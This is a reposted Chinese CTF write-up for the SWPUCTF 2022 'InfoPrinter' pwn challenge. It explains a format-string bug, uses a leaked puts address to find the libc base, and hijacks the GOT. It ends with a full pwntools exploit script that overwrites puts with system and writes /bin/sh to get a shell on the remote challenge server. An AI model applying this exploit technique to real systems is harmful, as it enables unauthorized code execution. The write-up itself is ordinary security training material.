小秦哥 发表于 2023-11-26 12:19:04

【pwn】[SWPUCTF 2022 新生赛]InfoPrinter--格式化字符串漏洞,got表劫持,

下载附件,checksec检查程序保护情况:
https://img2023.cnblogs.com/blog/3310839/202310/3310839-20231030230546146-160626765.png
No RELRO,说明got表可修改
接下来看主程序:
https://img2023.cnblogs.com/blog/3310839/202310/3310839-20231030230740269-2063576026.png
函数逻辑还是比较简单,14行出现格式化字符串漏洞,配合pwntools的fmtstr_payload模块可直接攻击,然后就是题目提供了libc,然后第10行又泄露puts函数的地址,可直接计算出基址,然后就是/bin/sh这个字符串的传入问题,看第15行puts(xx),点进去看xx:
https://img2023.cnblogs.com/blog/3310839/202310/3310839-20231030231247448-1983107961.png
发现xx存在data段中,我们同样可以控制格式化字符串漏洞,来达到修改该地址的值为/bin/sh
下一步,确定字符串偏移:
https://img2023.cnblogs.com/blog/3310839/202310/3310839-20231030231545269-1220057684.png
可发现,字符串偏移为6
exp:
from pwn import *context(os='linux',arch='amd64',log_level='debug')io = remote("node5.anna.nssctf.cn",28063)libc=ELF("./libc-2.31.so")elf=ELF("./pwn")io.recvuntil(b"0x")puts_addr=int(io.recv(12),16)base=puts_addr-libc.symbols["puts"]system_addr=base+libc.symbols["system"]
payload=fmtstr_payload(6,{elf.got["puts"]:system_addr,0x403878:b'/bin/sh\x00'})io.recvuntil(b'now leak it\n')io.sendline(payload)io.interactive()  


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: 【pwn】[SWPUCTF 2022 新生赛]InfoPrinter--格式化字符串漏洞,got表劫持,